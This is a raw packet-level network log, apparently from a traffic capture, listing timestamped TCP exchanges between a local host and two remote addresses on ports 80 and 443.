Nov 20, 2024 18:57:20.861547947 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.861608028 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.861859083 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.861879110 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.861895084 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.861901999 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.864588022 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.864619970 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.864762068 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.864984035 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.864998102 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.876137018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.876198053 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.876202106 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.876393080 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.877460957 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.877515078 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.877549887 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.877645016 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.881782055 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.881817102 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.881875992 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.886132956 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.886183023 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.886238098 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.890445948 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.890470028 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.890506029 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.890536070 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.894788980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.894860029 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.910109043 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.910181999 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.910408974 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.910451889 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.910464048 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.910943031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.910958052 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.911025047 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.912728071 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.912873983 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.912944078 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.913400888 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.913564920 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.913691044 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.913858891 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.913882017 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.913897038 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.913904905 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.914505005 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.914546013 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.914618015 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.914762020 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.914783001 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.916296959 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.916317940 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.916320086 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.916342974 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.916369915 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.916423082 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.916445017 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.916651964 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.916662931 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.919722080 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.919831038 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.919852018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.919899940 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.923276901 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.923333883 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.923376083 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.923510075 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.926755905 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.926811934 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.926826954 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.926852942 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.930177927 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.930253029 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.930344105 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.930408955 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.933665037 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.933733940 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.933753014 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.934006929 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.937115908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.937194109 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.937228918 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.937661886 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.940226078 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.940298080 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.940315008 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.940442085 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.943497896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.943547010 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.943581104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.943698883 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.946686983 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.946747065 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.946871042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.949697018 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.950002909 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.950103998 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.950150013 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.953052044 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.953104019 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.953258038 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.953298092 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.955394030 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.955451012 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.955586910 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.955635071 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.957664013 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.957715034 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.964426994 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.964508057 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.964540958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.964600086 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.965406895 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.965461969 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.965845108 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.965917110 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.965940952 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.965958118 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.968158960 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.968247890 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.968264103 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.968311071 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.970302105 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.970354080 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.970501900 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.970556974 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.972341061 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.972404957 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.972457886 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.972513914 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.974679947 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.974695921 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.974746943 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.974746943 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.976608992 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.976659060 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.976716995 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.976756096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.978801012 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.978904009 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.978918076 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.978956938 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.980940104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.980988026 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.981060982 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.981259108 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.983370066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.983480930 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.983509064 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.983546019 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.985270023 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.985322952 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.985505104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.985548973 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.987442970 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.987637997 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.987926006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.987963915 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.989566088 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.989691973 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.989701986 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.989743948 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.991715908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.991770983 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.997847080 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.997864962 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.997915030 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.000566006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.000586033 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.000591993 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.000654936 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.003329039 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.003402948 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.003499985 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.003545046 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.008502960 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:21.008531094 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:21.008589029 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:21.008610964 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:21.008733988 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:21.008866072 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:21.008872032 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:21.008893013 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:21.009052038 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:21.009083986 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:21.009146929 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:21.011954069 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:21.011981964 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:21.012099028 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:21.012686014 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:21.012712002 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:21.013641119 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.013703108 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.013721943 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.013776064 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.014652967 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.014718056 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.014789104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.014831066 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.016968966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.017020941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.017162085 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.017205000 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.019207954 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.019258022 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.019464016 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.019511938 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.021209955 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.021291971 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.021295071 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.021346092 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.068346977 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.068439007 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.068501949 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.069355965 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.069452047 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.069505930 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.070981979 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.071017981 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.071065903 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.073173046 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.073210001 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.073265076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.075258017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.075333118 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.075342894 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.075462103 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.077573061 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.077632904 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.077725887 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.077949047 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.080099106 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.080192089 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.080216885 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.080272913 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.081629038 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.081758976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.081832886 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.081918955 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.083688021 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.083758116 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.083767891 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.083852053 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.085621119 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.085669041 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.085709095 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.085760117 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.103377104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.103472948 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.103517056 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.103596926 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.104155064 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.104217052 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.104226112 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.104300022 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.105868101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.105920076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.105961084 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.106034040 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.107712984 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.107764959 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.107876062 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.107930899 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.109415054 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.109481096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.109635115 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.109690905 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.110913038 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.110970020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.110979080 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.111119986 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.112607002 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.112672091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.112723112 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.112797976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.114250898 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.114321947 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.114339113 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.114363909 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.115890980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.115955114 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.115955114 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.116131067 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.117430925 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.117481947 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.117515087 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.117610931 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.119003057 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.119066954 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.119095087 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.119159937 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.120567083 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.120625973 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.120631933 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.120676994 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.122112036 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.122174025 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.122221947 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.122322083 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.123631001 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.123694897 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.123703957 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.123794079 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.125124931 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.125195980 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.125262022 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.125459909 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.126703978 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.126761913 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.126775026 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.126898050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.128179073 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.128237009 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.128242970 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.128279924 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.129686117 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.129750967 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.129817963 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.129868984 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.131268024 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.131340981 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.131377935 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.131422043 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.132811069 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.132879019 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.132894993 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.132914066 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.156569958 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.156631947 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.156666994 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.156711102 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.157131910 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.157181025 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.157222033 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.157414913 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.158335924 CET	80	49715	185.215.113.206	192.168.2.6
